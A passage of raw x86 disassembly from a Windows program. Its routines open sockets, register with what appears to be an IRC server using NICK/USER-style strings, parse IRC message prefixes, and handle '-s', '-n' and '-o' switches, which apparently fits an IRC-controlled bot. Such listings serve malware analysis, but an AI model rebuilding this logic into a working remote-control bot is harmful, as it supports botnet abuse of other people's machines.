push offset dword_449100 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 mov ecx, [esp+3Ch+var_C] mov eax, esi pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 2Ch retn sub_40F6D0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 180h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40FE40 proc near ; CODE XREF: ___:004019D3j sub_401A4Bj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4013C5 sub_40FE40 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_40FE58 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_40FE58: ; CODE XREF: ___:0040FE4Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40FE70 proc near ; CODE XREF: sub_4013C5j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40FE70 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43F028 mov dword ptr [esi+11h], offset off_43F034 lea ecx, [esi+2DAh] mov [esp+14h+var_4], 10h call sub_401B68 sub_40FE70 endp ; --------------------------------------------------------------------------- lea ecx, [esi+2ACh] mov byte ptr [esp+10h], 0Fh call sub_401023 lea ecx, [esi+27Eh] mov byte ptr [esp+10h], 0Eh call sub_401023 lea ecx, [esi+250h] mov byte ptr [esp+10h], 0Dh call sub_401023 lea ecx, [esi+222h] mov byte ptr [esp+10h], 0Ch call sub_401023 lea ecx, [esi+1F4h] mov byte ptr [esp+10h], 0Bh call sub_401023 lea ecx, [esi+1C6h] mov byte ptr [esp+10h], 0Ah call sub_401023 lea ecx, [esi+198h] mov byte ptr [esp+10h], 9 call sub_401023 lea ecx, [esi+16Ah] mov byte ptr [esp+10h], 8 call sub_401023 lea ecx, [esi+13Ch] mov byte ptr [esp+10h], 7 call sub_401023 lea ecx, [esi+10Eh] mov byte ptr [esp+10h], 6 call sub_401023 lea ecx, [esi+0E0h] mov byte ptr [esp+10h], 5 call sub_401023 lea ecx, [esi+0B2h] mov byte ptr [esp+10h], 4 call sub_401023 lea ecx, [esi+84h] mov byte ptr [esp+10h], 3 call sub_401023 lea ecx, [esi+56h] mov byte ptr [esp+10h], 2 call sub_401023 lea ecx, [esi+3Dh] mov byte ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+28h] mov byte ptr [esp+10h], 0 call sub_401226 mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_40204F mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_410030 proc near ; CODE XREF: sub_402149j var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_1C = byte ptr 20h arg_1E = word ptr 22h arg_20 = dword ptr 24h arg_24 = dword ptr 28h arg_28 = dword ptr 2Ch arg_2C = dword ptr 30h arg_34 = byte ptr 38h arg_4C = byte ptr 50h arg_64 = byte ptr 68h arg_7C = byte ptr 80h arg_94 = byte ptr 98h arg_AC = byte ptr 0B0h arg_C4 = byte ptr 0C8h arg_DC = byte ptr 0E0h arg_F4 = byte ptr 0F8h arg_10C = byte ptr 110h arg_124 = byte ptr 128h arg_13C = byte ptr 140h arg_154 = byte ptr 158h arg_16C = byte ptr 170h arg_184 = byte ptr 188h arg_19C = byte ptr 1A0h arg_1B4 = byte ptr 1B8h arg_1CC = byte ptr 1D0h arg_1E4 = byte ptr 1E8h arg_1FC = byte ptr 200h arg_214 = byte ptr 218h arg_22C = byte ptr 230h arg_244 = byte ptr 248h arg_25C = byte ptr 260h arg_274 = byte ptr 278h arg_28C = byte ptr 290h arg_2A4 = byte ptr 2A8h arg_2BC = byte ptr 2C0h arg_2D4 = byte ptr 2D8h arg_2EC = byte ptr 2F0h arg_304 = byte ptr 308h arg_31C = byte ptr 320h arg_334 = byte ptr 338h arg_34C = byte ptr 350h arg_364 = byte ptr 368h arg_37C = byte ptr 380h arg_394 = byte ptr 398h arg_3AC = byte ptr 3B0h arg_3C4 = byte ptr 3C8h arg_3DC = byte ptr 3E0h arg_3F4 = byte ptr 3F8h arg_408 = byte ptr 40Ch arg_40C = byte ptr 410h arg_464 = byte ptr 468h arg_2464 = dword ptr 2468h arg_246C = dword ptr 2470h arg_2470 = dword ptr 2474h push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43A8D3 push eax mov eax, 2478h mov large fs:0, esp call sub_437B30 push ebx push ebp mov ebp, ecx push esi push edi lea ecx, [esp+1Ch+var_4] call sub_40142E mov al, [ebp+17h] xor ebx, ebx cmp al, bl mov [esp+1Ch+arg_2470], ebx jz loc_411400 loc_410072: ; CODE XREF: sub_410030+13CAj mov al, byte_4E8E44 mov edi, dword_5118AC cmp al, bl jz loc_411400 mov eax, [ebp+20h] cmp eax, ebx jnz short loc_41009A cmp dword ptr [ebp+1Ch], 5 jg short loc_4100A4 cmp eax, ebx jz loc_4101DE loc_41009A: ; CODE XREF: sub_410030+5Aj cmp dword ptr [ebp+1Ch], 2 jle loc_4101DE loc_4100A4: ; CODE XREF: sub_410030+60j mov eax, [ebp+18h] mov [ebp+16h], bl cmp eax, 0FFFFFFFFh mov [ebp+15h], bl jz short loc_4100B9 push eax call near ptr 71AB9639h nop loc_4100B9: ; CODE XREF: sub_410030+80j mov ecx, offset word_44AC5E mov dword ptr [ebp+18h], 0FFFFFFFFh call sub_401541 mov esi, [ebp+20h] inc esi mov [ebp+20h], esi lea esi, [ebp+2DAh] mov ecx, esi call sub_401983 mov ecx, [ebp+20h] dec eax cmp ecx, eax jbe short loc_4100E9 mov [ebp+20h], ebx loc_4100E9: ; CODE XREF: sub_410030+B4j mov eax, [ebp+20h] mov ecx, esi push eax mov [ebp+1Ch], ebx call sub_401474 mov ecx, [eax] add ecx, 16Dh push ecx push offset byte_4493ED mov ecx, offset word_44ACD6 call sub_401F50 mov edx, [ebp+20h] mov ecx, esi push edx call sub_401474 mov eax, [eax] mov ecx, offset word_44ACD6 add eax, 1B6h push eax push offset dword_4493A4 call sub_401F50 mov ecx, [ebp+20h] push ecx mov ecx, esi call sub_401474 mov edx, [eax] mov ecx, offset word_44ACD6 push edx push offset dword_449280 call sub_401F50 mov eax, [ebp+20h] mov ecx, esi push eax call sub_401474 mov ecx, [eax] add ecx, 124h push ecx push offset word_449312 mov ecx, offset word_44ACD6 call sub_401F50 mov edx, [ebp+20h] mov ecx, esi push edx call sub_401474 mov eax, [eax] mov ecx, offset word_44ACD6 add eax, 0DBh push eax push offset byte_4492C9 call sub_401F50 mov ecx, [ebp+20h] push ecx mov ecx, esi call sub_401474 mov edx, [eax] mov ecx, offset word_44ACD6 add edx, 92h push edx push offset byte_44935B call sub_401F50 mov eax, [ebp+20h] mov ecx, esi push eax call sub_401474 mov ecx, [eax] add ecx, 1FFh push ecx push offset byte_44947F mov ecx, offset word_44ACD6 call sub_401F50 call edi mov [ebp+24h], eax loc_4101DE: ; CODE XREF: sub_410030+64j ; sub_410030+6Ej mov edx, [ebp+18h] cmp edx, 0FFFFFFFFh jnz short loc_410208 push 6 push 1 push 2 nop call near ptr 71AB3B91h push 7D0h mov [ebp+18h], eax mov [ebp+15h], bl nop call near ptr 28502B8h jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410208: ; CODE XREF: sub_410030+1B4j cmp [ebp+15h], bl jnz loc_410398 mov ax, word_44932C xor edx, edx mov [esp+20h+arg_20], edx push eax mov [esp+24h+arg_24], edx mov word ptr [esp+24h+arg_20], 2 mov [esp+24h+arg_28], edx mov [esp+24h+arg_2C], edx call near ptr 71AB2B66h nop mov ecx, offset byte_4492C9 mov [esp+24h+arg_1E], ax call sub_4017EE push eax call sub_40188E add esp, 4 mov [esp+24h+arg_20], eax call edi mov edx, [ebp+18h] lea ecx, [esp+24h+arg_1C] push 10h push ecx push edx mov [ebp+24h], eax nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jnz short loc_410288 push 2710h call near ptr 28502B8h nop mov eax, [ebp+1Ch] mov [ebp+15h], bl inc eax mov [ebp+1Ch], eax jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410288: ; CODE XREF: sub_410030+23Cj mov byte ptr [ebp+15h], 1 mov [ebp+16h], bl call edi mov [ebp+24h], eax xor eax, eax mov [esp+30h+arg_0], eax lea ecx, [esp+30h+arg_20] mov [esp+30h+arg_4], eax lea edx, [esp+30h+arg_0] mov [esp+30h+arg_8], eax push ecx mov [esp+34h+arg_C], eax mov eax, [ebp+18h] push edx push eax mov [esp+3Ch+arg_20], 10h call near ptr 71AB951Eh nop mov ecx, [esp+3Ch+var_4+3] mov edx, [esp+3Ch+var_4+2] mov eax, [esp+3Ch+var_4+1] and ecx, 0FFh push ecx mov ecx, [esp+40h+var_4] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx lea edx, [esp+4Ch+arg_408] push offset aD_D_D_D ; "%d.%d.%d.%d" push edx call sub_5FADE9 nop add esp, 18h lea eax, [esp+3Ch+arg_408] lea ecx, [ebp+3Dh] push eax call sub_4015E1 lea ecx, [esp+3Ch+arg_408] push ecx call near ptr 71AB2BF4h nop push offset byte_448F30 mov ecx, offset byte_44935B mov [ebp+52h], eax call sub_4012EE test eax, eax jz short loc_410357 mov ecx, offset byte_44935B call sub_4017EE mov edx, dword_4490DC push eax push edx push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E24 add esp, 10h loc_410357: ; CODE XREF: sub_410030+305j mov ecx, offset byte_4E8E45 call sub_4017EE push eax mov ecx, offset byte_4E8E45 call sub_4017EE push eax mov eax, dword_4490E4 push eax mov ecx, offset byte_4E8E45 call sub_4017EE mov ecx, dword_4490E0 push eax push ecx push offset aSSSS00S ; "%s %s\r\n%s %s 0 0 :%s\r\n" push ebp call sub_401E24 add esp, 1Ch jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410398: ; CODE XREF: sub_410030+1DBj mov ecx, 800h xor eax, eax lea edi, [esp+20h+arg_464] push ebx rep stosd lea eax, [esp+24h+arg_464] push 2000h push eax push edx call sub_401280 add esp, 10h cmp al, bl jz loc_4113F0 call near ptr 2800BE7h nop lea ecx, [esp+20h+var_8] mov [ebp+24h], eax call sub_401CD0 lea ecx, [esp+20h+arg_464] push ecx lea ecx, [esp+24h+var_8] call sub_401A9B push offset asc_444600 ; " " lea edx, [esp+24h+arg_364] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490E8 mov byte ptr [esp+20h+arg_246C], 1 push ecx mov ecx, eax call sub_4012EE test eax, eax jnz short loc_410470 push offset asc_444600 ; " " lea edx, [esp+24h+arg_3F4] push 4 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset dword_4493A4 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 2 call sub_401B86 test eax, eax lea ecx, [esp+20h+arg_3F4] mov byte ptr [esp+20h+arg_246C], 1 setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], 1 cmp al, bl jnz short loc_410474 loc_410470: ; CODE XREF: sub_410030+3EAj mov [esp+20h+var_D], bl loc_410474: ; CODE XREF: sub_410030+43Ej lea ecx, [esp+20h+arg_364] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz short loc_410496 mov byte ptr [ebp+16h], 1 jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410496: ; CODE XREF: sub_410030+45Bj push offset asc_444600 ; " " lea eax, [esp+24h+arg_F4] push ebx push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490BC mov byte ptr [esp+20h+arg_246C], 3 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_F4] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_444600 ; " " cmp al, bl push 1 jz short loc_410534 lea edx, [esp+28h+arg_2A4] lea ecx, [esp+28h+var_8] push edx call sub_4016B8 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 4 call sub_4017EE push eax mov eax, dword_4490D8 push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E24 add esp, 10h mov byte ptr [esp+20h+arg_246C], bl lea ecx, [esp+20h+arg_2A4] jmp loc_410662 ; --------------------------------------------------------------------------- loc_410534: ; CODE XREF: sub_410030+4BAj lea edx, [esp+28h+arg_124] lea ecx, [esp+28h+var_8] push edx call sub_4016B8 mov ecx, dword_4490C0 mov byte ptr [esp+20h+arg_246C], 5 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_124] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_444600 ; " " cmp al, bl jz loc_4106A0 lea edx, [esp+24h+arg_40C] push 12h push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset byte_448F30 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 6 call sub_4012EE lea ecx, [esp+20h+arg_40C] mov esi, eax mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp esi, ebx jz loc_4113F7 push offset asc_444600 ; " " lea eax, [esp+24h+arg_154] push 11h push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490D8 mov byte ptr [esp+20h+arg_246C], 7 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_154] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz short loc_410667 push offset asc_444600 ; " " lea edx, [esp+24h+arg_2D4] push 12h push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 8 call sub_4017EE push eax mov eax, dword_4490D8 push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E24 add esp, 10h mov byte ptr [esp+20h+arg_246C], bl lea ecx, [esp+20h+arg_2D4] loc_410662: ; CODE XREF: sub_410030+4FFj call sub_401226 loc_410667: ; CODE XREF: sub_410030+5E6j cmp [ebp+16h], bl jnz loc_4113F7 mov ecx, offset byte_4493ED call sub_4017EE push eax mov ecx, offset dword_4493A4 call sub_4017EE mov ecx, dword_4490C4 push eax push ecx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E24 add esp, 14h jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_4106A0: ; CODE XREF: sub_410030+550j lea edx, [esp+24h+arg_394] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490F8 mov byte ptr [esp+20h+arg_246C], 9 push ecx mov ecx, eax call sub_4012EE test eax, eax jz short loc_410722 push offset asc_444600 ; " " lea edx, [esp+24h+arg_184] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490FC mov byte ptr [esp+20h+arg_246C], 0Ah push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_184] mov byte ptr [esp+20h+arg_246C], 9 setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], bl cmp al, bl jz short loc_410727 loc_410722: ; CODE XREF: sub_410030+69Bj mov [esp+20h+var_D], 1 loc_410727: ; CODE XREF: sub_410030+6F0j lea ecx, [esp+20h+arg_394] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz short loc_410794 cmp [ebp+16h], bl jnz short loc_410770 mov ecx, offset byte_4493ED call sub_4017EE push eax mov ecx, offset dword_4493A4 call sub_4017EE mov edx, dword_4490C4 push eax push edx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E24 add esp, 14h loc_410770: ; CODE XREF: sub_410030+713j mov ecx, offset byte_4E8E45 call sub_4017EE push eax mov eax, dword_4490CC push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E24 add esp, 10h jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410794: ; CODE XREF: sub_410030+70Ej push offset asc_444600 ; " " lea ecx, [esp+24h+arg_1B4] push 1 push ecx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov edx, dword_4490D4 mov ecx, eax push edx mov byte ptr [esp+24h+arg_246C], 0Bh call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_1B4] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_444600 ; " " cmp al, bl jz short loc_410845 lea eax, [esp+24h+arg_94] push 3 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+24h+arg_94] mov byte ptr [esp+24h+arg_246C], 0Ch call sub_4014DD push eax nop call near ptr 77C47C60h add esp, 8 cmp eax, ebx jz short loc_41082D inc eax lea ecx, [ebp+28h] push eax call sub_4015E1 loc_41082D: ; CODE XREF: sub_410030+7F1j lea ecx, [esp+20h+arg_94] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410845: ; CODE XREF: sub_410030+7B7j lea ecx, [esp+24h+arg_304] push 1 push ecx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov edx, dword_4490D0 mov ecx, eax push edx mov byte ptr [esp+24h+arg_246C], 0Dh call sub_4012EE test eax, eax jnz short loc_410880 mov al, byte_449804 mov [esp+20h+var_D], 1 cmp al, bl jnz short loc_410884 loc_410880: ; CODE XREF: sub_410030+840j mov [esp+20h+var_D], bl loc_410884: ; CODE XREF: sub_410030+84Ej lea ecx, [esp+20h+arg_304] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz loc_410B91 push offset asc_444C6C ; ":" lea eax, [esp+24h+arg_4C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 push 96h mov byte ptr [esp+24h+arg_246C], 0Eh call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 0Fh jz short loc_4108E2 mov ecx, eax call sub_402072 loc_4108E2: ; CODE XREF: sub_410030+8A9j push 0ADh mov byte ptr [esp+24h+arg_246C], 0Eh call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 10h jz short loc_41090E mov ecx, eax call sub_4010BE loc_41090E: ; CODE XREF: sub_410030+8D5j push offset asc_4445EC ; "|" lea ecx, [esp+24h+arg_4C] mov byte ptr [esp+24h+arg_246C], 0Eh call sub_401AAF push offset asc_4445EC ; "|" lea ecx, [esp+24h+arg_7C] push ebx push ecx lea ecx, [esp+2Ch+arg_4C] xor edi, edi call sub_4016B8 push offset byte_448F30 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 11h call sub_4012EE lea ecx, [esp+20h+arg_7C] mov esi, eax mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 cmp esi, ebx jz loc_410B7C loc_41096F: ; CODE XREF: sub_410030+B46j push 96h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 12h jz short loc_410997 mov ecx, eax call sub_402072 mov esi, eax jmp short loc_410999 ; --------------------------------------------------------------------------- loc_410997: ; CODE XREF: sub_410030+95Aj xor esi, esi loc_410999: ; CODE XREF: sub_410030+965j push 0ADh mov byte ptr [esp+24h+arg_246C], 0Eh call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 13h jz short loc_4109CB mov ecx, eax call sub_4010BE mov [esp+20h+var_C], eax jmp short loc_4109CF ; --------------------------------------------------------------------------- loc_4109CB: ; CODE XREF: sub_410030+98Cj mov [esp+20h+var_C], ebx loc_4109CF: ; CODE XREF: sub_410030+999j push offset aS_2 ; " -s" lea ecx, [esp+24h+var_8] mov byte ptr [esp+24h+arg_246C], 0Eh call sub_4013ED test eax, eax jz short loc_4109F2 mov byte ptr [esi+93h], 1 jmp short loc_4109F8 ; --------------------------------------------------------------------------- loc_4109F2: ; CODE XREF: sub_410030+9B7j mov [esi+93h], bl loc_4109F8: ; CODE XREF: sub_410030+9C0j push offset aN_0 ; " -n" lea ecx, [esp+24h+var_8] call sub_4013ED test eax, eax jz short loc_410A13 mov byte ptr [esi+94h], 1 jmp short loc_410A19 ; --------------------------------------------------------------------------- loc_410A13: ; CODE XREF: sub_410030+9D8j mov [esi+94h], bl loc_410A19: ; CODE XREF: sub_410030+9E1j push offset aO ; " -o" lea ecx, [esp+24h+var_8] call sub_4013ED test eax, eax jz short loc_410A34 mov byte ptr [esi+95h], 1 jmp short loc_410A3A ; --------------------------------------------------------------------------- loc_410A34: ; CODE XREF: sub_410030+9F9j mov [esi+95h], bl loc_410A3A: ; CODE XREF: sub_410030+A02j push offset asc_444600 ; " " lea edx, [esp+24h+arg_1E4] push 3 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push eax lea ecx, [esi+15h] mov byte ptr [esp+24h+arg_246C], 14h call sub_401FDC lea ecx, [esp+20h+arg_1E4] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 push offset byte_448F30 lea ecx, [esi+54h] call sub_4015E1 push offset byte_448F30 lea ecx, [esi+3Fh] call sub_4015E1 push offset asc_444600 ; " " lea eax, [esp+24h+arg_AC] push 3 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 push eax lea ecx, [esi+2Ah] mov byte ptr [esp+24h+arg_246C], 15h call sub_401FDC lea ecx, [esp+20h+arg_AC] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 push offset asc_4445EC ; "|" lea ecx, [esp+24h+arg_214] push edi push ecx lea ecx, [esp+2Ch+arg_4C] call sub_4016B8 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 16h call sub_4017EE push eax mov ecx, esi call sub_4015E1 lea ecx, [esp+20h+arg_214] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 mov ecx, [esp+20h+var_C] push 1 push esi call sub_401DFC cmp esi, ebx jz short loc_410B29 push 1 mov ecx, esi call sub_4019E2 loc_410B29: ; CODE XREF: sub_410030+AEEj mov ecx, [esp+20h+var_C] call sub_4013DE inc edi push offset asc_4445EC ; "|" lea edx, [esp+24h+arg_7C] push edi push edx lea ecx, [esp+2Ch+arg_4C] call sub_4016B8 push offset byte_448F30 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 11h call sub_4012EE lea ecx, [esp+20h+arg_7C] mov esi, eax mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 cmp esi, ebx jnz loc_41096F loc_410B7C: ; CODE XREF: sub_410030+939j lea ecx, [esp+20h+arg_4C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410B91: ; CODE XREF: sub_410030+86Bj push offset asc_444600 ; " " lea eax, [esp+24h+arg_334] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490C8 mov byte ptr [esp+20h+arg_246C], 17h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_334] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_410EAB push 96h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 18h jz short loc_410C0B mov ecx, eax call sub_402072 mov esi, eax jmp short loc_410C0D ; --------------------------------------------------------------------------- loc_410C0B: ; CODE XREF: sub_410030+BCEj xor esi, esi loc_410C0D: ; CODE XREF: sub_410030+BD9j push 0ADh mov byte ptr [esp+24h+arg_246C], bl call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 19h jz short loc_410C3C mov ecx, eax call sub_4010BE mov edi, eax jmp short loc_410C3E ; --------------------------------------------------------------------------- loc_410C3C: ; CODE XREF: sub_410030+BFFj xor edi, edi loc_410C3E: ; CODE XREF: sub_410030+C0Aj push offset aO ; " -o" lea ecx, [esp+24h+var_8] mov byte ptr [esp+24h+arg_246C], bl call sub_4013ED test eax, eax jz short loc_410C60 mov byte ptr [esi+95h], 1 jmp short loc_410C66 ; --------------------------------------------------------------------------- loc_410C60: ; CODE XREF: sub_410030+C25j mov [esi+95h], bl loc_410C66: ; CODE XREF: sub_410030+C2Ej push offset aS_2 ; " -s" lea ecx, [esp+24h+var_8] call sub_4013ED test eax, eax jz short loc_410C81 mov byte ptr [esi+93h], 1 jmp short loc_410C87 ; --------------------------------------------------------------------------- loc_410C81: ; CODE XREF: sub_410030+C46j mov [esi+93h], bl loc_410C87: ; CODE XREF: sub_410030+C4Fj push offset aN_0 ; " -n" lea ecx, [esp+24h+var_8] call sub_4013ED test eax, eax jz short loc_410CA2 mov byte ptr [esi+94h], 1 jmp short loc_410CA8 ; --------------------------------------------------------------------------- loc_410CA2: ; CODE XREF: sub_410030+C67j mov [esi+94h], bl loc_410CA8: ; CODE XREF: sub_410030+C70j push offset asc_444C6C ; ":" lea edx, [esp+24h+arg_274] push ebx push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset asc_444600 ; " " lea ecx, [esp+24h+arg_3C4] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Ah call sub_4016B8 push offset asc_444C60 ; "!" lea edx, [esp+24h+arg_244] push ebx push edx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Bh call sub_4016B8 push eax lea ecx, [esi+15h] mov byte ptr [esp+24h+arg_246C], 1Ch call sub_401FDC lea ecx, [esp+20h+arg_244] mov byte ptr [esp+20h+arg_246C], 1Bh call sub_401226 lea ecx, [esp+20h+arg_3C4] mov byte ptr [esp+20h+arg_246C], 1Ah call sub_401226 lea ecx, [esp+20h+arg_274] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_444C60 ; "!" lea eax, [esp+24h+arg_DC] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+24h+arg_C4] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Dh call sub_4016B8 push eax lea ecx, [esi+54h] mov byte ptr [esp+24h+arg_246C], 1Eh call sub_401FDC lea ecx, [esp+20h+arg_C4] mov byte ptr [esp+20h+arg_246C], 1Dh call sub_401226 lea ecx, [esp+20h+arg_DC] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset a@ ; "@" lea edx, [esp+24h+arg_13C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset asc_444600 ; " " lea ecx, [esp+24h+arg_10C] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Fh call sub_4016B8 push eax lea ecx, [esi+3Fh] mov byte ptr [esp+24h+arg_246C], 20h call sub_401FDC mov byte ptr [esp+20h+arg_246C], 1Fh lea ecx, [esp+20h+arg_10C] call sub_401226 lea ecx, [esp+20h+arg_13C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_444600 ; " " lea edx, [esp+24h+arg_16C] push 2 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push eax lea ecx, [esi+2Ah] mov byte ptr [esp+24h+arg_246C], 21h call sub_401FDC lea ecx, [esp+20h+arg_16C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_444C5C ; " :" lea ecx, [esp+24h+var_8] call sub_4014DD push eax nop call near ptr 77C47C60h add esp, 8 cmp eax, ebx jz short loc_410E7D add eax, 2 push eax jmp short loc_410E82 ; --------------------------------------------------------------------------- loc_410E7D: ; CODE XREF: sub_410030+E45j push offset byte_448F30 loc_410E82: ; CODE XREF: sub_410030+E4Bj mov ecx, esi call sub_4015E1 push ebx push esi mov ecx, edi call sub_401DFC cmp esi, ebx jz short loc_410E9F push 1 mov ecx, esi call sub_4019E2 loc_410E9F: ; CODE XREF: sub_410030+E64j mov ecx, edi call sub_4013DE jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410EAB: ; CODE XREF: sub_410030+BADj push offset asc_444600 ; " " lea eax, [esp+24h+arg_19C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490EC mov byte ptr [esp+20h+arg_246C], 22h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_19C] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_411080 sub esp, 18h lea ecx, [esp+38h+var_8] mov edx, esp mov [esp+38h+var_C], esp push offset asc_444600 ; " " push 3 push edx call sub_4016B8 mov ecx, offset word_44AC5E call sub_401CE4 cmp eax, ebx jz short loc_410F72 sub esp, 18h lea ecx, [esp+38h+var_8] mov eax, esp mov [esp+38h+var_C], esp push offset asc_444600 ; " " push 3 push eax call sub_4016B8 sub esp, 